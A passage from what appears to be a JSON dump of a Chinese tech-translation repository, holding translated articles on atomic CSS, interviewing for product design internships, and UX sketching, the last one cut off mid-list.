等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/growing-popularity-atomic-css.md",
    "content": "> * 原文地址：[On the Growing Popularity of Atomic CSS](https://css-tricks.com/growing-popularity-atomic-css/?utm_source=SitePoint&utm_medium=email&utm_campaign=Versioning)\n> * 原文作者：[OLLIE WILLIAMS](https://css-tricks.com/author/olliew/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/growing-popularity-atomic-css.md](https://github.com/xitu/gold-miner/blob/master/TODO/growing-popularity-atomic-css.md)\n> * 译者：[Cherry](https://github.com/sunshine940326)\n> * 校对者：[Tina92](https://github.com/Tina92)、[ClarenceC](https://github.com/ClarenceC)\n\n# 论原子 CSS 的日益普及\n\n即使你自认为是 CSS 方面的专家，也很可能在某一大型项目中，处理一个错综复杂并且越来越庞大的样式表，它们中一些样式表看起来就像一张相互继承并且混乱缠绕的网。\n\n![意大利面怪物](https://cdn.css-tricks.com/wp-content/uploads/2017/11/spaghetti-monster.jpg)\n\n级联的作用非常强大。微小的改变可能会引起很大的改变，这就导致了很难知道下一秒会发生什么。重构、更改和移除 CSS 都是高危动作，因为很难知道这个 CSS 在哪里被引用。\n\n> **你什么时候可以做到改变 CSS 不引起不必要的改动？** 答案是无论在何种情况下，你都很少有这种想法。\n>\n> 在我有限的经验中，其中的一种情况是，在大型团队的大型代码库中，**给人的感觉是 CSS 太大了以至于团队的成员开始对 CSS 很敏感并且对 CSS 感到害怕，但是实际上只是让你增加 CSS。**\n> \n> 由此产生一个工具，它能做的事情远远少于 CSS，但是在某种程度上（在你学会之后），没有人在对其感到害怕，我认为这非常棒。\n> - [Chris Coyier](https://css-tricks.com/lets-define-exactly-atomic-css/#comment-1607914)\n\n### 原子 CSS 让事情变得简单\n\n> 我不在需要去考虑如何组织我的 CSS。我也不需要考虑如何给我的组件起名，也不需要考虑将一个组件和另一个组件完全分离，应该将其放在哪里，最重要的，当有新的需求是怎么进行重构。\n> \n> - [Callum Jefferies 在尝试通过 BEM 命名方式使用超分子 CSS 之后发表的言论](https://madebymany.com/stories/takeaways-from-trying-out-tachyons-css-after-ages-using-bem)\n\n[原子 CSS](https://css-tricks.com/lets-define-exactly-atomic-css/) 提供了一套直接、明显并且简单的方法论。类是不可变的，你不可以改变类名。这使得s使用 CSS 是可预见的和可靠的，因为类总是做**完全**相同的事情。在 HTML 文件中添加或者移除一个有作用域范围的公用类是明确的，它让你确信你不会破坏其他任何东西。这可以减少认知负荷和精神负担。\n\n给组件命名是出了的困难。想出一个既有意义又足够通用的类名费时又费力。\n\n> 计算机科学中只有两个难题：缓存失效和命名问题。\n> \n> – Phil Karlton\n\n提出适当的抽象是困难的。相比之下，命名工具类就简单直接一些。\n\n```\n/* 工具类命名 */\n.relative {\n  position: relative;\n}\n.mt10 {\n  margin-top: 10px;\n}\n.pb10 {\n  padding-bottom: 10px;\n}\n```\n原子的类从名字就可以知道它们的功能。意图和效果显而易见。而包含无数类名的 HTML 会显得很乱，HTML 比一个庞大并且错综复杂的样式要容易一些。\n\n在一个前后端混合的团队中，可能参与开发的后台人员对 CSS 知识有限，很少有人将样式表搞乱。\n\n![来自 ryanair.com —— 整个 CSS 都在完成一个效果](https://cdn.css-tricks.com/wp-content/uploads/2017/11/s_936DE68CA3D578D4EBA9574821004F0B168A1400AEE2F968AAEBC3372F36B63D_1510608565787_ScreenShot2017-11-13at21.27.52.png)\n\n\n### 样式差异处理\n[工具类](https://css-tricks.com/need-css-utility-library/) 非常适合处理小的样式差异。虽然设计系统和模式库现在可能风靡一时，但是你要意识到将会有不断的新需求和变化。所有组件的可重用性往往不是体现在设计模拟。虽然实现和设计稿一致是最好的，但是一个大型网站繁多的上下环境一定会有很多的不可避免的不同。\n\n![](https://cdn.css-tricks.com/wp-content/uploads/2017/11/bem-modifiers.png)\n\nMedium 的开发团队已经不使用 BEM 了，在 [他们的博文中](https://medium.engineering/simple-style-sheets-c3b588867899) 有提到。\n\n如果我们希望组件通过简单的方式和另一个组件只有细微的差别，该怎么去做呢？如果你使用的 BEM 的命名方式，修饰符类很可能会不起作用。无数的修饰符往往只有一个效果。我们以边距（`margin`）为例。不同组件的边框大部分都不相同，让所有组件的边框保持一致也不太可能。这个距离不仅取决于组件，还取决于组件在页面中的位置和它相对于其他元素的相对位置。大部分的设计都包含相似但是**不完全相同**的 UI 元素，使用传统的 CSS 很难处理。\n\n### 很多人都不喜欢它\n\n![Aaron Gustafson，《A List Apart》的总编辑，Web Standards Project 的前任项目经理，微软员工](https://cdn.css-tricks.com/wp-content/uploads/2017/11/twitter.com_AaronGustafson_status_743073596789133312_ref_srctwsrc5Etfwref_urlhttp3A2F2Fcssmojo.com2Fopinions_of_leaders_considered_harmful2F.png)\n\n\n![Soledad Penades，来自 Mozilla 的工程师](https://cdn.css-tricks.com/wp-content/uploads/2017/11/soledad.png)\n\n\n![CSS 禅意花园的创办者](https://cdn.css-tricks.com/wp-content/uploads/2017/11/cssmojo.com2Fopinions_of_leaders_considered_harmful2F.png)\n\n\n### 原子 CSS 和行内样式有什么不同？\n这是质疑原子 CSS 的人经常会问到的问题。长期以来大家都认为行内样式不利于实践，自 Web 时代初期就很少有人使用了。**那些批评者将原子 CSS 与行内样式等同也是有道理的，因为行内元素和原子 CSS 有相同的弊端。**举个例子，如果我们想要将所有的 `.block` 类中的 `color` 改变为 `navy` 会怎样？如果这样做：\n\n```\n.black {\n  color: navy;\n}\n```\n\n很明显，这是**不对**的。\n\n现在的编辑器很复杂。使用查找和替换将所有的 `.black` 类换成一个新的 `.navy` 类十分的简单，但是却是很危险的。问题是，你只是想将 **某些** `.block` 类变为 `.naby` 类。\n\n在传统的 CSS 方法中，调整组件的样式和在一个 CSS 文件中更新一个类的一个值一样简单。使用原子 CSS，这就变成了一项单调乏味的任务，它通过搜索每一块 HTML 来更新所述组件的每一个实例。然而所有的高级编辑器都是这样。即使你将标记分离为可重用的模板，这仍然是一个主要缺点。**也许这种手动操作对于这种简单的方法是值得的。用不同的类更新 HTML 文件可能很乏味，但并不困难。**（虽然有一些时候我在手动更新时遗漏了相关组件的某些实例，暂时引入了风格不一致）。如果改变了设计，你可能需要从 HTML 中手动编辑类。\n\n虽然原子 CSS 和内联样式一样有很大的缺陷，但是这不是一种退后。工具类以各种方式优于内联样式。\n\n### 原子 CSS vs. 行内样式\n\n#### 原子类允许抽象，内联样式不允许\n\n原子类可以创建抽象类，内联样式不行。\n```\n<p style=\"font-family: helvetica; color: rgb(20, 20, 20)\">\n  Inline styles suck.\n</p>\n<p class=\"helvetica rgb202020\">\n  Badly written CSS isn't very different.\n</p>\n<p class=\"sans-serif color-dark\">\n  Utility classes allow for abstraction.\n</p>\n```\n\n当改变设计的时候，上面例子的前两个需要手动的修改和替换。第三个例子可以只调整一处样式表。\n\n#### 工具\n\nCSS 社区已经创建了很多用于行内样式的无用的工具例如：Sass， Less， PostCSS， Autoprefixer 等。\n\n#### 更加简洁\n\n与其写出冗余的行内样式，倒不如像原子 CSS 一样写出简洁的声明缩写。相比之下少打了一些字符：`mt0` 和 `margin-top: 0`，`flex` 和 `display: flex`，等等。\n\n#### 差异性\n\n这是一个有争议的话题。如果一个类或者行内样式仅仅只做一件事情，**那么你是否希望它只做一件事情**，很多人提倡使用 `!importent` 来保证不被其他的除了 `!important` 的样式重写，这也就意味着这个样式肯定会被应用。但是，一个类本身是足够具体的，可以覆盖其他的基本类。和行内样式相比，原子类特异性较低是一件好事。它允许更多的通用性。都可以使用 JavaScript 来改变样式。如果是行内样式的话就比较困难。\n\n#### 样式表的类比行内样式能做的更多\n行内样式不支持媒体查询、伪选择器、`@supports` 和 CSS 动画。也许你有一个单独的悬停效果你想要应用在不同的元素而不是一个组件。\n\n```\n.circle {\n  border-radius: 50%;\n}\n\n.hover-radius0:hover {\n  border-radius: 0;\n}\n```\n\n简单的可重用媒体查询规则也可以转换成实用的工具类，其常用的类名前缀表示小型、中型和大型的屏幕尺寸。下面有一个 flexbox 类的实例，只能对中型和大型屏幕尺寸有效：\n\n```\n@media (min-width: 600px) {\n  .md-flex {\n    display: flex;\n  }\n}\n```\n\n这在内联样式中是不可能的。\n\n你是不是想要一个可重用的有伪内容的图标或标签？\n\n```\n.with-icon::after {\n  content: 'some icon goes here!';\n}\n```\n\n#### 有限的选择可能会更好\n\n行内样式可以做**任何事情**。这过于自由以至于很容易导致显示效果混乱和不一致。通过每一个预定类，原子 CSS 可以保证一定程度的风格一致。而不是杂乱的颜色值和不确定的颜色值，工具类提供了一个预定义设置选项。开发者从有限的设置中选择单一功能的工具类，这种约束既可以消除日益增加的样式问题，保持视觉的一致性。\n\n我们来看一个 `box-shadow` 的例子。一个行内样式可以随意使用偏移量、范围、颜色、透明度和模糊半径。\n\n```\n<div style=\"box-shadow: 2px 2px 2px rgba(10, 10, 250, .4)\">stuff</div>\n```\n\n使用原子方法，CSS 作者可以定义首选样式，然后简单应用，不可能出现风格不一致。\n\n```\n<div class=\"box-shadow\">stuff</div>\n```\n\n### 原子 CSS 既不是全能也不是一无是处\n\n毫无疑问，像 Tachyons 这样的原子类框架越来越受欢迎。然而，CSS 方法并不是互斥的。很多情况下，工具类并不是最好的选择：\n\n* 如果你需要在媒体查询中改变特定组件里面大量的样式。\n* 如果你想要使用 JavaScript 改变很多样式，将其抽象为一个单独的类是非常容易的。\n\n原子类可以和其他样式方法共存。我们应该将设置一些基础类和稳健的全局样式。如果你继续复制工具类的相似字符串，这些样式很可能被抽象为一个类。你可以在组件类中将其合并，但是你只能在知道它们不会被重用时才可以这样。\n\n\n> 以组件为先的方法去写 CSS 意味着你创建一个组件事物即使他们不会再被重用。这种过早的抽象就是使样式表变得冗余和复杂的原因。 \n> - [Adam Wathan](https://adamwathan.me/css-utility-classes-and-separation-of-concerns/)\n\n> 单位越小，它的可重用性就越强。 \n> - [Thierry Koblentz](http://www.smashingmagazine.com/2013/10/challenging-css-best-practices-atomic-approach)\n\n看一下 Bootstrap 的最新版本，现在提供了一整套的工具类，仍然包括其传统的组件。未来，越来越多的流行框架采用这种混合方法。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/guide-to-interviewing-for-product-design-internships.md",
    "content": ">* 原文链接 : [A Guide to Interviewing for Product Design Internships](https://medium.com/facebook-design/a-guide-to-interviewing-for-product-design-internships-d719dd4c146c#.jhgjr12c)\n* 原文作者 : [Andrew Hwang](https://medium.com/@ahwng)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [joyking7](https://github.com/joyking7)\n* 校对者: [邵辉Vista](https://github.com/shaohui10086), [circlelove](https://github.com/circlelove)\n\n# 产品设计实习生面试指南\n\n\n“我们查看了你的作品集，诚挚邀请你参加我们公司产品设计实习生的面试。请问下周你什么时间有空呢？”\n\n一看到这封邮件你就脉搏加速，瞳孔放大甚至有点流口水。你已经寄出很多求职信，提交了很多求职申请，最后 - 终于如愿！你在成为一个羽翼丰满的产品设计师之路上跨出了虽然很小，但是却很有意义一步。\n\n但是他们会问你什么？你如何尽全力的准备呢？\n\n\n学生贸然进入产品设计领域是比较困难的。一些有图形设计或者艺术学历的产品设计师也是跌跌撞撞地走进这个领域。另外一些则是自学成才。无论是哪种方式，数字产品设计依然是新的领域，对于那些充满好奇心的学生来说资源很少。\n\n高中我都没有听说过产品设计行业。我了解过 web 设计领域，但是坦白地说，我并不擅长这个，无法想象它能应用在哪些地方。\n\n随着时间的推移，我在一家手机 app 创业公司进行设计实习，积累了足够的设计经验来找到自己的本心。在那里，我第一次体验到了产品设计，我爱上了和产品经理、工程师和 UI 设计师们合作解决复杂问题的感觉，以及实现产品从无到有的状态。所以我义无反顾地选择了这个行业。\n\n之后那个夏天我加大了自己申请的策略，向超过 50 家公司投递了简历。其中有五家公司对我有兴趣。这五家之中，有三家小型科技公司立刻面试了我。但是我去那些面试时根本不知道他们会问些什么，所以那些为我敞开的门又很快像它们刚打开那样关上了。\n\nEvernote 是第四家对我有兴趣的公司。虽然我搞砸了之前三场面试，但是在与 Evernote 设计师电话面试的时候，因为对大致的要求有了一些了解，所以表现的还不错。\n\n在那个夏天我去 Evernote 产品设计岗位实习。因为有了更多实习经验，接下来的那年夏天我拿到了 Facebook 产品设计实习的 offer。现在我在 Facebook 担任全职产品设计师一职。\n\n作为一个学生，我经历过很多家硅谷大公司的产品设计实习岗位的面试:Google;Facebook; Mozilla; Quora; Groupon; Dropbox.如果问我感触最深的是什么，那就是科技公司产品设计面试流程相当地类似，通常都包括下面的所有，或者是下面的某些组合：\n\n1. 电话面试\n2. 作品集审查\n3. 设计任务\n4. App 评判 \n\n让我们更加深入的了解每一步。\n\n#### 1\\. 电话面试\n\n电话面试能够让面试官更好的了解你，更好的浏览你简历上所写的东西。你可能被问到：\n\n*   你的个人背景？\n*   你是如何进入设计领域？\n*   为什么你对所面试公司感兴趣？\n*   你做的项目中最喜欢哪个以及为什么？\n\n在电话面试中，声音要有激情。同时也为面试官准备一些问题。试着问一下公司具体情况的问题，那些不是很容易在 Google 搜索找到答案的问题。面试官会从真实可信数据中解答一些常见问题，但是问一些封闭问题可能会影响你候选的资格。\n\n准备第一次 Facebook 电话面试的时候，举个例子，我发现 Facebook 会定期举行[实习生编程马拉松](http://www.quora.com/What-do-Facebook-interns-do)(hack-a-thons)活动。所以在电话面试的时候我进一步和面试官探讨了编程马拉松：它们究竟如何工作？在编程马拉松活动时，实习生完全忽略他们的夏季项目这样好吗？谁审查最后的项目？这些问题能表现出你真正的兴趣。同时也告诉了面试官你是下了功夫并且十分在乎实习机会的。\n\n如果面试官认为你的个人背景和兴趣比较适合实习，那么下一环节通常就是你过去工作的一个展示。\n\n#### 2\\. 作品集审核\n\n这一步你会和设计师直接对话。通常情况下，审核将包括你做过的三四个项目作品的深入了解。作品集审核的关键在于帮助设计师梳理你的设计流程，了解你提出了什么样的问题和你考虑了什么样的解决办法。简单来说，面试官想知道你是如何接近设计的。你可能会被问到这样的问题：\n\n*   你想要努力解决什么问题？\n*   你曾和谁组队搭档？\n*   你做过哪种调研，有没有例子？\n*   为什么你选择那种的设计方案而不是这种？\n*   应该权衡哪些东西？\n*   在设计某个产品 X 时你遇到了哪些挑战？\n*   如果你有更多时间在某个产品 Y 上，你会做什么改变？\n*   如果你在一个确切设计问题上卡住，你会如何克服它?\n\n作品集审核中，一个主要任务就是在你的设计流程中展现出你的**意向**，来表明你思考每一个设计决定都是很细心的，无论是从高级产品特性还是到一个按钮的视觉造型。\n\n清楚地描述你的逻辑根据。武断地设计决定经不起作品集审核的仔细检查。\n\n\n\n![](http://ww4.sinaimg.cn/large/a490147fjw1f2lzu8uvhoj20m80ah75i.jpg)\n\n<figcaption>确保自己能清晰地表达自己的设计决定。漫画作者：Andrew Hwang</figcaption>\n\n\n在作品集审核中，你也应该**深思熟虑地以批判性眼光看待**自己的设计。没有哪一款设计方案是完美的。反观自己的项目，然后想出一些如何提高它们的建议。\n\n许多公司认为产品设计有三个基础：\n\n1.  视觉设计：如何改进你的设计？它们是否感觉起来有好的工艺和改进？它们是否美观地和人心意？\n2.  交互设计：你能凭直观设计出端到端的用户流吗？你合理地考虑了边缘情况吗？在你设计的 app 中，如何简单的从 A 点到 B 点？\n3.  产品思维：你要努力解决什么样的问题？你为谁而设计？哪些特性应当包含在你的产品中，为什么？\n\n作品集审核能够帮助面试官衡量你在这些领域的强项和弱项。或许你在更适合视觉设计却缺少交互设计的能力。或许你是个稀奇古怪的产品思维者却不能在现实中创建原型。但是这都没问题！你还只是个学生。面试官不会很期待你在产品设计的每个方面都出众。勇于承认自己的弱项以表谦逊，这是任何一个设计师都必不可少的素质。\n\n**为作品集审核做好准备是关键。**在面试的时候，我经常发现自己会紧张急躁地展示自己作品集每一个项目。列的一些要点会防止我跳过重要的部分，同时也会让我渐渐慢下来平静下来。\n\n你列的要点应该侧重每一个项目具体的设计流程，详细阐述它们运行错误和运行正确的情况。深刻反省你预计出现的每一种情况。写下所有自己能记得的设计流程。让一个朋友模拟面试你。准备，准备，准备！\n\n如果作品集审核进展顺利，那么你就会进入设计任务阶段。\n\n#### 3\\. 设计任务\n\n传统的设计任务都会遵循下面这个模式：\n\n_请为需求 X 或者解决 Y 问题设计一个界面/物品／产品。_\n\n当场进行设计任务自然会更加吓人。如果说作品集审核是要充实你过去的设计流程，那么设计任务则是要求你实时实地的展示你的设计内涵思想。\n\n一些我曾遇到的任务：\n\n*   设计一款采集高质量电话号码的 web 表格。同时，如果你说电话号码，某个人会接到电话。\n*   为搜索引擎设计主页。\n*   展开头脑风暴，使用 Kindle 电子阅读器屏幕的材料设计一款产品。\n\n每一位设计师都有他们自己的设计流程，所以我不能准确的告诉你在设计任务中如何应对。但是我建议可以思考一下你在为谁设计，快速地勾勒出许多不同的选项，并分析这些选项之间的权衡之处。在完成一个彻底的全局思考之前，不要在交互或者视觉细节的选项上陷得太深。\n\n我曾是被要求设计一款手机 app，从而能更简单地为餐厅的顾客分开账单。最开始进展的不错。我很快地为服务员进入账目收据勾勒出了一个设计选项。然后另外一个选项是用户手动输入数据。但是在结束全局思考之前，我沉迷于这个选项的设计，在细节上陷的太深。(布局应该是什么样？版面设计如何工作？)\n\n\n我在视觉细节上浪费了时间，结果导致我没有足够的时间思考其他类型的方案(例如，用顾客的手机为账单拍张照)。那次面试的第二周我收到了面试官的拒信。但是回想这件事，设计任务方面给我上了宝贵的一课：面试官更关心你全局思想的探索而不是你的细节追求。\n\n\n![](http://ww1.sinaimg.cn/large/a490147fjw1f2lzxz07syj20m80agt9x.jpg)\n\n<figcaption>在深入思考整体设计之前，不要陷入到视觉设计细节中去。漫画作者：Andrew Hwang</figcaption>\n\n</figure>\n\n在设计任务环节最至关重要的是**展示你的想法代替技巧**。所以不要害怕想一些疯狂天马行空的点子。询问你的面试官一些问题。不要假设任何事情。并且要记住，头脑风暴和分析高级想法比探索不同的按钮样式要更加有意义。\n\n谢天谢地，如此高压的设计任务并不是每次面试流程都有的环节。或许，你会被问及一些 app 评判问题。\n\n#### 4\\. App 评判\n\n选择一款 app，任何 app 都可以。但至少确保这款 app 你了解的很清楚。\n\napp 评判环节主要是为了分析你的产品思维技能。你会带领面试官走进你选择的 app。在这过程中，面试官会打断你并问类似这样的问题：\n\n*   你认为这款 app 的用户人群是什么？\n*   这款 app 企图解决什么样的问题？\n*   它如何解决问题的？\n*   你最喜欢这款 app 的哪些特性，为什么？\n*   你最不喜欢这款 app 的哪些特性，为什么？\n*   你认为为什么设计者会做出决定 X？\n*   某一特性的关键是什么？它这样增加特性有什么价值？\n*   你会怎么提升这款 app？\n*   这款 app 的竞争对手有哪些？\n*   这款 app 在哪些方面做得比竞争对手好？哪些方面比竞争对手差？\n\n在 app 评判上运筹帷幄比较困难，因为这需要你有强大的产品嗅觉。我能给出的最好建议就是练习从更高层面分析 app。忘掉颜色、排版和按钮设计，取而代之，深入思考**app 提供了哪些价值**。并且思考**app 的一些特性如何与其整体价值相平衡**。例如，Snapchat 就是致力于解决与朋友实时分享的问题。所以他们就做出了一些很棒的特性例如 Live Snapchat 作为大家分享的主要内容和直接在聊天过程中发送 Live Video。\n\n###  总结\n产品设计面试很难。这样的面试压力很大，不限成员名额，并且你在不断接到拒信的同时却根本不知道自己哪里做错了。\n\n但是面试产品设计实习生就像其它任何技能一样。花时间多练习，你就会有所提高。面试一些你没有意愿在那里工作的公司是无关痛痒的，只是去锻炼你的面试技巧。\n\n在你开始每一场面试前做好准备的笔记。尤其是在作品集审核环节。我发现列出每个项目可以谈及的关键点十分有帮助。这会防止你因为紧张跳过重要的部分。\n\n最后但是并非最不重要的一点，设计社区很小并且联系紧密，只要你有勇气问问题，人们是很愿意帮助你的。\n\n"
  },
  {
    "path": "TODO/guide-to-ux-sketching.md",
    "content": "> * 原文地址：[Everything You Need to Know about UX Sketching](https://www.toptal.com/designers/ux/guide-to-ux-sketching)\n* 原文作者：[NICK VYHOUSKI](https://www.toptal.com/designers/resume/nick-vyhouski)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[特伦](https://twitter.com/SyncTrip)\n* 校对者：[jiaowoyongqi](https://github.com/jiaowoyongqi)、[jamweak](https://github.com/jamweak)\n\n\n\n\n\n如果你曾经做过一些非常需要创造性的工作，那你应该很清楚在创作中遇到阻碍的感觉。这种感觉就像撞上南墙: __你想不到一个足够好的点子，或是你想到的点子根本无法在实际中应用。__\n\n对于设计师们来说，这种感觉再熟悉不过了。然而，任何复杂的问题都没有那么容易解决，但一个聪明的工作流程就可以让这一切都变得不同。这就是为什么我们需要为用户体验设计绘制草图。\n\n绘制草图是一个关键点，但它却常常在用户体验设计中被忽视。草图是一种表达设计的非常有效率的方式，设计师们可以通过草图来尝试许多不同的点子，而避免沉沦于其中的某一个。\n\n在这篇文章中，我想要介绍为用户体验设计绘制草图时你所需要知道的一切，包括了下面这几点：\n\n*   介绍用户体验设计中的草图与线框图\n*   绘制草图的基本要点、工具以及技巧\n*   用笔记、注释和数字来阐明你的草图\n*   为用户体验设计绘制草图时的小提示\n*   用简单的设计方法来提高质量和效率\n*   关于线框流程图你所需要知道的一切\n*   为用户体验流程绘制草图的快速指南\n\n## 绘制草图是一个需要两步走的过程\n\n在设计中你必须考虑许多不同的方案，确保最终选择和确定的结果是__最好的那一个。__ 设计师们在设计时应该先思考他们的不同方案，之后再着手于细节，因此用户体验设计应该是一个两步走的过程：\n\n![Ux sketching](https://assets.toptal.io/uploads/blog/image/121222/toptal-blog-image-1474991007791-230ca06cc9fe1490e78fb46953ffbcb0.jpg)\n\n在最初的设计过程中，你会产生许多不同的想法，但这些想法都很难成形，甚至有一些元素的残缺或丢失也不奇怪。最重要的事是你应该用不同的方法去思考，并判断哪一种在你的任务环境中最有效率，以及你的项目会遇到的各种限制。\n\n*   **细节与精炼**\n\n一步一步来。选定一些看上去不错的想法并且开始着手于优化他们的细节，以此来填补这些点子中不合适的部分。\n\n## 用户体验设计中的草图和线框图：介绍与分类\n\n你绘制的线框图很可能依据你的产品而有所不同，比如所需要的细节程度，颜色或风格的不同，或是你是否需要展示给某人，等等。\n\n![](https://assets.toptal.io/uploads/blog/image/121204/toptal-blog-image-1474890673236-d74ae4998dab921752d271212847a991.png)\n\n好的草图会让你的想法更清晰，找到最佳解决方案，并节省你的时间。\n\n我列出了下面这些不同类型的草图:\n\n* 草稿：提出构思\n\n这些是最初的草图版本，用于指出较低程度的细节，色彩的使用范围也有限。\n\n我会绘制大量简单的手绘图来以不同的角度思考问题和解决方案。同时在画这些手绘图的时候，我也尽可能地去让这些解决方案发散开来。\n\n在这个特别的步骤里，低完成度的要求使我开放了思维，因为要避免在这个阶段陷入一些细枝末节是非常重要的。我的目标是尽可能地想出许多的点子，并选择出最合适的那一个。\n\n* **线框图：规范的细化阶段**\n\n在我选出一个最好的想法并有了大体的细节之后，我通常会挑选出合适的草图来继续细化。\n\n但是，这么做__并不意味着要添加上每一个细节__。很显然，有些事只要标记一下就可以了。此外，有些东西也很难在纸上被详细描述。\n\n在这一步中，我会画出所有__重要的细节__，但我还并不打算在 [Balsamiq](https://balsamiq.com/) 中绘制线框图。等我在纸上把所有事都做好之后，我再开始使用 Sketch 来绘制线框图。\n\n> 数字化的工具相比于传统纸张，为创作提供了更广阔的自由空间。并且，你可以很轻易地把注意力放到微小的细节上。比如说，相比于设计，你可以把注意力集中于「像素级的改进」。\n\n* 视觉设计稿\n\n一般很少会使用这个方法，但许多时候它依然是很有帮助的。在项目初期需要考虑多种视觉设计的方向，但把它们都在电脑上绘制出来也许会耗费你相当多的时间。这也是为什么我首先在纸上绘制手绘稿，在思考了不同的方案之后再选择一个合适的视觉设计方向。\n\n* **部件/元素分解**\n\n当已经有了一个大体的想法，而我需要考虑某一个特定页面的功能或是界面中的必要组成部分时，这个技巧就是非常有用处的了。我会画出不同的页面元素，去深入它们的细节，然后在不同位置画出这些页面元素。\n\n即便是最简单的一个元素，也一定会有它特定的状态；一个按钮可以被按下，一个文字框可以是空的也可以被填满。它的组成越复杂，那么它的状态也越多样。\n\n![](https://assets.toptal.io/uploads/blog/image/121220/toptal-blog-image-1474978796798-825431fd42dbca2c9a78a5046003b9d7.png)\n\n## 从最基础的开始\n\n*   **准备好你的工具** - 尽可能找一个最方便你工作的地方，要有一张空间足够大的大桌子。多带上一些纸，再准备一些水笔和记号笔。\n*   **热身** - 为了让你做好准备，我建议你画一些线条，圆形，基本模板和图标。\n*   **明确你的目标** - 明确你想要画的是什么。设定好你的目标并决定好你想要讲的故事。告诉自己是否已经做好准备大施拳脚。\n*   **明确你的目标群体** - 如果你的草图是画给自己看，那你就不必担心这些草图长什么样子。但是如果你打算把你画的图给客户看，那你应该确保用一些额外的时间为你的草图添加更多细节。\n*   **设定一个时间范围** - 决定一个时间段用来分配给绘图，让我们定个 30 分钟吧，这能帮助你专注于工作。\n\n现在，你已经做好了准备，可以开始了：\n\n1.  **绘制边界** - 先画好边框，一个浏览器或是手机窗口，或是界面的一部分等等。\n\n2.  **添加最大的基本元素** - 菜单，页脚，或主要内容。\n\n3.  **添加细节** - 添加重要的细节，但在这个阶段仍然要让它们保持简洁。\n\n4.  **添加注释和说明** - 只有当你准备分享你的草图时你才需要这么做。当然，即使你只为自己做设计，它们一样会很有用。\n\n5.  **绘制替代方案** - 为你的方案快速绘制一些替代方案。\n\n6.  **挑选出最好的解决方案** - 选择一个最优项。\n\n7.  **添加阴影和斜面** - 如果你打算跟人分享你的想法，这是一个非常重要的步骤。增加阴影来使你的草图在视觉上更有吸引力，这对于分享给团队成员或客户们来说是很重要的。\n\n8. **保存好你的草图** - 拍一张照片或者把它们放进文件夹。我桌上有很多文件盒用来保存草图。\n\n9.  **分享** - 我通常用下面这些方法来分享:\n    *   通过 [Evernote](https://evernote.com/?var=c) 来扫描，并且提供一个永久性的链接给团队的其他成员或相关人员。\n    *   拍一张照片并上传到 [InVision](https://www.invisionapp.com/)。\n    *   上传并把图片关联到 [Realtimeboard](https://realtimeboard.com/hello/)。\n    *   或者仅仅是用_电子邮件_发送图片。\n10.  **回顾草图并添加笔记** - 稍微休息一下然后再回过头来看看你的草图。这些草图对你来说是否仍然是易于理解的？一个好的草图必然是让人易于理解的。\n\n![](https://assets.toptal.io/uploads/blog/image/121216/toptal-blog-image-1474978448447-40701c83cf93e9be6339d4f0af43109c.png)\n\n> 如果连作为设计师的你都不能理解你草图中的某些部分，那这个解决方案必定不是一个成功的方案。同理，如果草图没有很好地用视觉表达出你的想法，或者这个想法过于复杂，那么这些都不是一个好的方案。\n\n## 用附加元素阐明你的草图\n\n找到或者绘制一个合适的草图，然后给它加上下面这些细节：\n\n1.  **标题** - 有时候添加一个标题会是一个好选择。如果有必要的话，在草图顶上写上一个描述和日期。标题会有助于你理解你正在看的东西，以及这个草图是否正是你要找的。如果你有一大堆草图或是你准备把它们展示给别人，这个方法尤其有用。\n\n2.  **注释** - 注释可以在一个界面元素旁命名或者做标记，你可以用它来解释内容或属性。它们用来解释那些通常很难被画出来的细节。举例说，它可能是段落的名字，一些交互上的细节，一张图片的说明，或是一些未来设计上的变化，等等。你可以[看看我的例子](https://www.toptal.com/uploads/blog/image/121195/toptal-blog-image-1474538721087-70346acafa1accafd4332e733179d551.JPG)来理解一个草图中的注释应该是什么样的。\n\n3.  **编号** - 为你的界面元素或是草图编好序号。你可以决定如何来为他们排序（比如，以交互流程排序，以创作顺序排序，等等）。这样做在讨论过程中可能会很有用（尤其是远程的讨论），你的同事和客户们很容易在他们的反馈中指出你草图中的序号，这样你就可以知道他们在评论哪一个草图了。\n\n4.  **箭头** - 你可以用箭头来指出屏幕的转换。他们也可以用来连接草图中的不同部分，或是指出交互的顺序，等等。由于一个箭头可以有多种不同的理解，因此你可以在箭头上加上一个描述或者注释来解释这个箭头的含义。这里有一个[例子](https://www.toptal.com/uploads/blog/image/121197/toptal-blog-image-1474540322164-e4037ec1b56c685056935e3deaaaa8d7.png)展示了一个基本的草图如何展现界面转换和一些不同的状态。\n\n5.  **笔记** - 就像注释一样，笔记也用来解释你的意图。然而，笔记使用的场合不同于注释。它们不是用来附在一个界面元素旁，也不位于元素旁，[就像这个例子中一样](https://www.toptal.com/uploads/blog/image/121198/toptal-blog-image-1474540426961-bb0363f81ef0d15fbffd1fa7f1872e98.png)。笔记可以位于页面中的顶部或底部。笔记甚至可以用来描述你的设计中没有出现的元素，你的问题，全局的说明，没有绘制出来的想法等等。\n\n6.  **手势** - 如果你在做可触摸设备的设计，那么就一定会接触到手势。画一个手势可能需要练习。有很多种不同的手势用来解释不同的操作，所以你最好提前决定你要怎么用手势来解释一个特定的操作 （如果它并不那么容易理解）然后去练习绘制它。\n\n7.  **反馈** - 